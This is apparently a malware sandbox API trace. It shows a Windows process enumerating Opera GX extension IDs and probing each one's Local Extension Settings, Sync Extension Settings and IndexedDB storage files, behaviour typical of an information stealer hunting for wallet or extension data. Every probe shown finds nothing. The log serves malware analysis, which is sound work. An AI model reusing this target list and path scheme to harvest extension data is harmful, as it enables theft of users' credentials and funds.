[0052.731] wsprintfA (in: param_1=0x18199c, param_2="%s\\%s\\%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Sync Extension Settings\\fhilaheimglignddkjgofkcbgekhenbh") returned 126
[0052.731] wsprintfA (in: param_1=0x18158c, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Sync Extension Settings\\fhilaheimglignddkjgofkcbgekhenbh\\CURRENT") returned 134
[0052.731] wsprintfA (in: param_1=0x181794, param_2="%s\\%s\\%s\\chrome-extension_%s_0.indexeddb.leveldb" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\IndexedDB\\chrome-extension_fhilaheimglignddkjgofkcbgekhenbh_0.indexeddb.leveldb") returned 149
[0052.732] wsprintfA (in: param_1=0x181488, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\IndexedDB\\chrome-extension_fhilaheimglignddkjgofkcbgekhenbh_0.indexeddb.leveldb\\CURRENT") returned 157
[0052.732] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Local Extension Settings\\fhilaheimglignddkjgofkcbgekhenbh\\CURRENT" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\opera software\\opera gx stable\\local extension settings\\fhilaheimglignddkjgofkcbgekhenbh\\current")) returned 0xffffffff
[0052.732] wsprintfA (in: param_1=0x181384, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\*.*") returned 57
[0052.732] lstrcatA (in: lpString1="", lpString2="Opera GX Stable" | out: lpString1="Opera GX Stable") returned="Opera GX Stable"
[0052.732] wsprintfA (in: param_1=0x181898, param_2="%s\\%s\\%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Local Extension Settings\\mgffkfbidihjpoaomajlbgchddlicgpn") returned 127
[0052.732] wsprintfA (in: param_1=0x181690, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Local Extension Settings\\mgffkfbidihjpoaomajlbgchddlicgpn\\CURRENT") returned 135
[0052.732] wsprintfA (in: param_1=0x18199c, param_2="%s\\%s\\%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Sync Extension Settings\\mgffkfbidihjpoaomajlbgchddlicgpn") returned 126
[0052.732] wsprintfA (in: param_1=0x18158c, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Sync Extension Settings\\mgffkfbidihjpoaomajlbgchddlicgpn\\CURRENT") returned 134
[0052.732] wsprintfA (in: param_1=0x181794, param_2="%s\\%s\\%s\\chrome-extension_%s_0.indexeddb.leveldb" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\IndexedDB\\chrome-extension_mgffkfbidihjpoaomajlbgchddlicgpn_0.indexeddb.leveldb") returned 149
[0052.732] wsprintfA (in: param_1=0x181488, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\IndexedDB\\chrome-extension_mgffkfbidihjpoaomajlbgchddlicgpn_0.indexeddb.leveldb\\CURRENT") returned 157
[0052.732] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Local Extension Settings\\mgffkfbidihjpoaomajlbgchddlicgpn\\CURRENT" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\opera software\\opera gx stable\\local extension settings\\mgffkfbidihjpoaomajlbgchddlicgpn\\current")) returned 0xffffffff
[0052.732] wsprintfA (in: param_1=0x181384, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\*.*") returned 57
[0052.732] lstrcatA (in: lpString1="", lpString2="Opera GX Stable" | out: lpString1="Opera GX Stable") returned="Opera GX Stable"
[0052.732] wsprintfA (in: param_1=0x181898, param_2="%s\\%s\\%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Local Extension Settings\\aodkkagnadcbobfpggfnjeongemjbjca") returned 127
[0052.732] wsprintfA (in: param_1=0x181690, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Local Extension Settings\\aodkkagnadcbobfpggfnjeongemjbjca\\CURRENT") returned 135
[0052.732] wsprintfA (in: param_1=0x18199c, param_2="%s\\%s\\%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Sync Extension Settings\\aodkkagnadcbobfpggfnjeongemjbjca") returned 126
[0052.732] wsprintfA (in: param_1=0x18158c, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Sync Extension Settings\\aodkkagnadcbobfpggfnjeongemjbjca\\CURRENT") returned 134
[0052.732] wsprintfA (in: param_1=0x181794, param_2="%s\\%s\\%s\\chrome-extension_%s_0.indexeddb.leveldb" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\IndexedDB\\chrome-extension_aodkkagnadcbobfpggfnjeongemjbjca_0.indexeddb.leveldb") returned 149
[0052.732] wsprintfA (in: param_1=0x181488, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\IndexedDB\\chrome-extension_aodkkagnadcbobfpggfnjeongemjbjca_0.indexeddb.leveldb\\CURRENT") returned 157
[0052.732] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\IndexedDB\\chrome-extension_aodkkagnadcbobfpggfnjeongemjbjca_0.indexeddb.leveldb\\CURRENT" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\opera software\\opera gx stable\\indexeddb\\chrome-extension_aodkkagnadcbobfpggfnjeongemjbjca_0.indexeddb.leveldb\\current")) returned 0xffffffff
[0052.732] wsprintfA (in: param_1=0x181384, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\*.*") returned 57
[0052.732] lstrcatA (in: lpString1="", lpString2="Opera GX Stable" | out: lpString1="Opera GX Stable") returned="Opera GX Stable"
[0052.732] wsprintfA (in: param_1=0x181898, param_2="%s\\%s\\%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Local Extension Settings\\hmeobnfnfcmdkdcmlblgagmfpfboieaf") returned 127
[0052.732] wsprintfA (in: param_1=0x181690, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Local Extension Settings\\hmeobnfnfcmdkdcmlblgagmfpfboieaf\\CURRENT") returned 135
[0052.732] wsprintfA (in: param_1=0x18199c, param_2="%s\\%s\\%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Sync Extension Settings\\hmeobnfnfcmdkdcmlblgagmfpfboieaf") returned 126
[0052.732] wsprintfA (in: param_1=0x18158c, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Sync Extension Settings\\hmeobnfnfcmdkdcmlblgagmfpfboieaf\\CURRENT") returned 134
[0052.732] wsprintfA (in: param_1=0x181794, param_2="%s\\%s\\%s\\chrome-extension_%s_0.indexeddb.leveldb" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\IndexedDB\\chrome-extension_hmeobnfnfcmdkdcmlblgagmfpfboieaf_0.indexeddb.leveldb") returned 149
[0052.732] wsprintfA (in: param_1=0x181488, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\IndexedDB\\chrome-extension_hmeobnfnfcmdkdcmlblgagmfpfboieaf_0.indexeddb.leveldb\\CURRENT") returned 157
[0052.732] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\IndexedDB\\chrome-extension_hmeobnfnfcmdkdcmlblgagmfpfboieaf_0.indexeddb.leveldb\\CURRENT" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\opera software\\opera gx stable\\indexeddb\\chrome-extension_hmeobnfnfcmdkdcmlblgagmfpfboieaf_0.indexeddb.leveldb\\current")) returned 0xffffffff
[0052.733] wsprintfA (in: param_1=0x181384, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\*.*") returned 57
[0052.733] lstrcatA (in: lpString1="", lpString2="Opera GX Stable" | out: lpString1="Opera GX Stable") returned="Opera GX Stable"
[0052.733] wsprintfA (in: param_1=0x181898, param_2="%s\\%s\\%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Local Extension Settings\\lpfcbjknijpeeillifnkikgncikgfhdo") returned 127
[0052.733] wsprintfA (in: param_1=0x181690, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Local Extension Settings\\lpfcbjknijpeeillifnkikgncikgfhdo\\CURRENT") returned 135
[0052.733] wsprintfA (in: param_1=0x18199c, param_2="%s\\%s\\%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Sync Extension Settings\\lpfcbjknijpeeillifnkikgncikgfhdo") returned 126
[0052.733] wsprintfA (in: param_1=0x18158c, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Sync Extension Settings\\lpfcbjknijpeeillifnkikgncikgfhdo\\CURRENT") returned 134
[0052.733] wsprintfA (in: param_1=0x181794, param_2="%s\\%s\\%s\\chrome-extension_%s_0.indexeddb.leveldb" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\IndexedDB\\chrome-extension_lpfcbjknijpeeillifnkikgncikgfhdo_0.indexeddb.leveldb") returned 149
[0052.733] wsprintfA (in: param_1=0x181488, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\IndexedDB\\chrome-extension_lpfcbjknijpeeillifnkikgncikgfhdo_0.indexeddb.leveldb\\CURRENT") returned 157
[0052.733] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Local Extension Settings\\lpfcbjknijpeeillifnkikgncikgfhdo\\CURRENT" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\opera software\\opera gx stable\\local extension settings\\lpfcbjknijpeeillifnkikgncikgfhdo\\current")) returned 0xffffffff
[0052.733] wsprintfA (in: param_1=0x181384, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\*.*") returned 57
[0052.733] lstrcatA (in: lpString1="", lpString2="Opera GX Stable" | out: lpString1="Opera GX Stable") returned="Opera GX Stable"
[0052.733] wsprintfA (in: param_1=0x181898, param_2="%s\\%s\\%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Local Extension Settings\\dngmlblcodfobpdpecaadgfbcggfjfnm") returned 127
[0052.733] wsprintfA (in: param_1=0x181690, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Local Extension Settings\\dngmlblcodfobpdpecaadgfbcggfjfnm\\CURRENT") returned 135
[0052.733] wsprintfA (in: param_1=0x18199c, param_2="%s\\%s\\%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Sync Extension Settings\\dngmlblcodfobpdpecaadgfbcggfjfnm") returned 126
[0052.733] wsprintfA (in: param_1=0x18158c, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Sync Extension Settings\\dngmlblcodfobpdpecaadgfbcggfjfnm\\CURRENT") returned 134
[0052.733] wsprintfA (in: param_1=0x181794, param_2="%s\\%s\\%s\\chrome-extension_%s_0.indexeddb.leveldb" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\IndexedDB\\chrome-extension_dngmlblcodfobpdpecaadgfbcggfjfnm_0.indexeddb.leveldb") returned 149
[0052.733] wsprintfA (in: param_1=0x181488, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\IndexedDB\\chrome-extension_dngmlblcodfobpdpecaadgfbcggfjfnm_0.indexeddb.leveldb\\CURRENT") returned 157
[0052.733] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Local Extension Settings\\dngmlblcodfobpdpecaadgfbcggfjfnm\\CURRENT" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\opera software\\opera gx stable\\local extension settings\\dngmlblcodfobpdpecaadgfbcggfjfnm\\current")) returned 0xffffffff
[0052.733] wsprintfA (in: param_1=0x181384, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\*.*") returned 57
[0052.733] lstrcatA (in: lpString1="", lpString2="Opera GX Stable" | out: lpString1="Opera GX Stable") returned="Opera GX Stable"
[0052.733] wsprintfA (in: param_1=0x181898, param_2="%s\\%s\\%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Local Extension Settings\\lpilbniiabackdjcionkobglmddfbcjo") returned 127
[0052.733] wsprintfA (in: param_1=0x181690, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Local Extension Settings\\lpilbniiabackdjcionkobglmddfbcjo\\CURRENT") returned 135
[0052.733] wsprintfA (in: param_1=0x18199c, param_2="%s\\%s\\%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Sync Extension Settings\\lpilbniiabackdjcionkobglmddfbcjo") returned 126
[0052.733] wsprintfA (in: param_1=0x18158c, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Sync Extension Settings\\lpilbniiabackdjcionkobglmddfbcjo\\CURRENT") returned 134
[0052.733] wsprintfA (in: param_1=0x181794, param_2="%s\\%s\\%s\\chrome-extension_%s_0.indexeddb.leveldb" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\IndexedDB\\chrome-extension_lpilbniiabackdjcionkobglmddfbcjo_0.indexeddb.leveldb") returned 149
[0052.733] wsprintfA (in: param_1=0x181488, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\IndexedDB\\chrome-extension_lpilbniiabackdjcionkobglmddfbcjo_0.indexeddb.leveldb\\CURRENT") returned 157
[0052.733] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Local Extension Settings\\lpilbniiabackdjcionkobglmddfbcjo\\CURRENT" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\opera software\\opera gx stable\\local extension settings\\lpilbniiabackdjcionkobglmddfbcjo\\current")) returned 0xffffffff
[0052.733] wsprintfA (in: param_1=0x181384, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\*.*") returned 57
[0052.734] lstrcatA (in: lpString1="", lpString2="Opera GX Stable" | out: lpString1="Opera GX Stable") returned="Opera GX Stable"
[0052.734] wsprintfA (in: param_1=0x181898, param_2="%s\\%s\\%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Local Extension Settings\\bhhhlbepdkbapadjdnnojkbgioiodbic") returned 127
[0052.734] wsprintfA (in: param_1=0x181690, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Local Extension Settings\\bhhhlbepdkbapadjdnnojkbgioiodbic\\CURRENT") returned 135
[0052.734] wsprintfA (in: param_1=0x18199c, param_2="%s\\%s\\%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Sync Extension Settings\\bhhhlbepdkbapadjdnnojkbgioiodbic") returned 126
[0052.734] wsprintfA (in: param_1=0x18158c, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Sync Extension Settings\\bhhhlbepdkbapadjdnnojkbgioiodbic\\CURRENT") returned 134
[0052.734] wsprintfA (in: param_1=0x181794, param_2="%s\\%s\\%s\\chrome-extension_%s_0.indexeddb.leveldb" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\IndexedDB\\chrome-extension_bhhhlbepdkbapadjdnnojkbgioiodbic_0.indexeddb.leveldb") returned 149
[0052.734] wsprintfA (in: param_1=0x181488, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\IndexedDB\\chrome-extension_bhhhlbepdkbapadjdnnojkbgioiodbic_0.indexeddb.leveldb\\CURRENT") returned 157
[0052.734] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Local Extension Settings\\bhhhlbepdkbapadjdnnojkbgioiodbic\\CURRENT" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\opera software\\opera gx stable\\local extension settings\\bhhhlbepdkbapadjdnnojkbgioiodbic\\current")) returned 0xffffffff
[0052.734] wsprintfA (in: param_1=0x181384, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\*.*") returned 57
[0052.734] lstrcatA (in: lpString1="", lpString2="Opera GX Stable" | out: lpString1="Opera GX Stable") returned="Opera GX Stable"
[0052.734] wsprintfA (in: param_1=0x181898, param_2="%s\\%s\\%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Local Extension Settings\\dkdedlpgdmmkkfjabffeganieamfklkm") returned 127
[0052.734] wsprintfA (in: param_1=0x181690, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Local Extension Settings\\dkdedlpgdmmkkfjabffeganieamfklkm\\CURRENT") returned 135
[0052.734] wsprintfA (in: param_1=0x18199c, param_2="%s\\%s\\%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Sync Extension Settings\\dkdedlpgdmmkkfjabffeganieamfklkm") returned 126
[0052.734] wsprintfA (in: param_1=0x18158c, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Sync Extension Settings\\dkdedlpgdmmkkfjabffeganieamfklkm\\CURRENT") returned 134
[0052.734] wsprintfA (in: param_1=0x181794, param_2="%s\\%s\\%s\\chrome-extension_%s_0.indexeddb.leveldb" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\IndexedDB\\chrome-extension_dkdedlpgdmmkkfjabffeganieamfklkm_0.indexeddb.leveldb") returned 149
[0052.734] wsprintfA (in: param_1=0x181488, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\IndexedDB\\chrome-extension_dkdedlpgdmmkkfjabffeganieamfklkm_0.indexeddb.leveldb\\CURRENT") returned 157
[0052.734] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Local Extension Settings\\dkdedlpgdmmkkfjabffeganieamfklkm\\CURRENT" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\opera software\\opera gx stable\\local extension settings\\dkdedlpgdmmkkfjabffeganieamfklkm\\current")) returned 0xffffffff
[0052.734] wsprintfA (in: param_1=0x181384, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\*.*") returned 57
[0052.734] lstrcatA (in: lpString1="", lpString2="Opera GX Stable" | out: lpString1="Opera GX Stable") returned="Opera GX Stable"
[0052.734] wsprintfA (in: param_1=0x181898, param_2="%s\\%s\\%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Local Extension Settings\\hcflpincpppdclinealmandijcmnkbgn") returned 127
[0052.734] wsprintfA (in: param_1=0x181690, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Local Extension Settings\\hcflpincpppdclinealmandijcmnkbgn\\CURRENT") returned 135
[0052.734] wsprintfA (in: param_1=0x18199c, param_2="%s\\%s\\%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Sync Extension Settings\\hcflpincpppdclinealmandijcmnkbgn") returned 126
[0052.734] wsprintfA (in: param_1=0x18158c, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Sync Extension Settings\\hcflpincpppdclinealmandijcmnkbgn\\CURRENT") returned 134
[0052.734] wsprintfA (in: param_1=0x181794, param_2="%s\\%s\\%s\\chrome-extension_%s_0.indexeddb.leveldb" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\IndexedDB\\chrome-extension_hcflpincpppdclinealmandijcmnkbgn_0.indexeddb.leveldb") returned 149
[0052.734] wsprintfA (in: param_1=0x181488, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\IndexedDB\\chrome-extension_hcflpincpppdclinealmandijcmnkbgn_0.indexeddb.leveldb\\CURRENT") returned 157
[0052.734] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Local Extension Settings\\hcflpincpppdclinealmandijcmnkbgn\\CURRENT" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\opera software\\opera gx stable\\local extension settings\\hcflpincpppdclinealmandijcmnkbgn\\current")) returned 0xffffffff
[0052.734] wsprintfA (in: param_1=0x181384, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\*.*") returned 57
[0052.734] lstrcatA (in: lpString1="", lpString2="Opera GX Stable" | out: lpString1="Opera GX Stable") returned="Opera GX Stable"
[0052.735] wsprintfA (in: param_1=0x181898, param_2="%s\\%s\\%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Local Extension Settings\\mnfifefkajgofkcjkemidiaecocnkjeh") returned 127
[0052.735] wsprintfA (in: param_1=0x181690, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Local Extension Settings\\mnfifefkajgofkcjkemidiaecocnkjeh\\CURRENT") returned 135
[0052.735] wsprintfA (in: param_1=0x18199c, param_2="%s\\%s\\%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Sync Extension Settings\\mnfifefkajgofkcjkemidiaecocnkjeh") returned 126
[0052.735] wsprintfA (in: param_1=0x18158c, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Sync Extension Settings\\mnfifefkajgofkcjkemidiaecocnkjeh\\CURRENT") returned 134
[0052.735] wsprintfA (in: param_1=0x181794, param_2="%s\\%s\\%s\\chrome-extension_%s_0.indexeddb.leveldb" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\IndexedDB\\chrome-extension_mnfifefkajgofkcjkemidiaecocnkjeh_0.indexeddb.leveldb") returned 149
[0052.735] wsprintfA (in: param_1=0x181488, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\IndexedDB\\chrome-extension_mnfifefkajgofkcjkemidiaecocnkjeh_0.indexeddb.leveldb\\CURRENT") returned 157
[0052.735] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Local Extension Settings\\mnfifefkajgofkcjkemidiaecocnkjeh\\CURRENT" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\opera software\\opera gx stable\\local extension settings\\mnfifefkajgofkcjkemidiaecocnkjeh\\current")) returned 0xffffffff
[0052.735] wsprintfA (in: param_1=0x181384, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\*.*") returned 57
[0052.735] lstrcatA (in: lpString1="", lpString2="Opera GX Stable" | out: lpString1="Opera GX Stable") returned="Opera GX Stable"
[0052.735] wsprintfA (in: param_1=0x181898, param_2="%s\\%s\\%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Local Extension Settings\\ookjlbkiijinhpmnjffcofjonbfbgaoc") returned 127
[0052.735] wsprintfA (in: param_1=0x181690, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Local Extension Settings\\ookjlbkiijinhpmnjffcofjonbfbgaoc\\CURRENT") returned 135
[0052.735] wsprintfA (in: param_1=0x18199c, param_2="%s\\%s\\%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Sync Extension Settings\\ookjlbkiijinhpmnjffcofjonbfbgaoc") returned 126
[0052.735] wsprintfA (in: param_1=0x18158c, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Sync Extension Settings\\ookjlbkiijinhpmnjffcofjonbfbgaoc\\CURRENT") returned 134
[0052.735] wsprintfA (in: param_1=0x181794, param_2="%s\\%s\\%s\\chrome-extension_%s_0.indexeddb.leveldb" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\IndexedDB\\chrome-extension_ookjlbkiijinhpmnjffcofjonbfbgaoc_0.indexeddb.leveldb") returned 149
[0052.735] wsprintfA (in: param_1=0x181488, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\IndexedDB\\chrome-extension_ookjlbkiijinhpmnjffcofjonbfbgaoc_0.indexeddb.leveldb\\CURRENT") returned 157
[0052.735] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Local Extension Settings\\ookjlbkiijinhpmnjffcofjonbfbgaoc\\CURRENT" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\opera software\\opera gx stable\\local extension settings\\ookjlbkiijinhpmnjffcofjonbfbgaoc\\current")) returned 0xffffffff
